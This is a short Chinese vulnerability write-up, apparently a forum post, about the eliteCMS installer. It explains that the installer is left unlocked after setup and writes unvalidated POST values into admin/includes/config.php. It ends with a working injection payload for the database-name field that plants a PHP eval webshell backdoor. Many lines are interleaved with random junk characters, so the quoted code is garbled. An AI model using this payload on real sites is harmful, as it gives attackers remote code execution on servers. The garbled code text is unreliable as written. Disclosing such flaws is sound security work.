eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
+ x" `' b* t- v我们来看代码：
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...
elseif ($_GET['step'] == "4") {
' _+ S6 [8 K- c    $file = "../admin/includes/config.php";
    $write = "<?php\n";
3 K+ ~% v8 ^, T7 y    $write .= "/**\n";
    $write .= "*\n";
8 ^& [- L2 I+ I$ e0 i    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
  e; ~0 @  h7 E& O( x4 x5 ~8 ^...略...
    $write .= "*\n";
    $write .= "*/\n";
2 F6 O  }( [( G    $write .= "\n";
% Q( \% O8 T* Q, |! @$ A* T    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
9 {8 q. i* c9 N* z# H! B( @    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
# G2 j/ s3 O* t1 \6 H. V    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; }) x, v# P/ l& d    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
. L, J6 H2 `& O& \* c2 z4 u    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
4 h  V* V3 Z& D- Q7 N; a    $write .= "if (!\$db_select) {\n";
1 r4 r% @; B" n( }& B9 u% R/ K    $write .= "        die(\"Database select failed\" .mysql_error());\n";
9 N9 \5 V7 X6 u* x3 \    $write .= "        \n";
; A. n9 t0 Y: u6 H! n& {& q    $write .= "} \n";
# g7 x# `2 G# ~  M8 N! ]    $write .= "?>\n";

    $writer = fopen($file, 'w');
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在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. ?% y2 h; Y1 {, h/ ^$_SESSION['DB_USER'] = $_POST['DB_USER'];
# T) S7 P6 _' a$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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. Y: r; Y6 M2 i( R$ _取值未作任何验证
如果将数据库名POST数据：
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3 h; Q8 P3 v. p  J% `! t"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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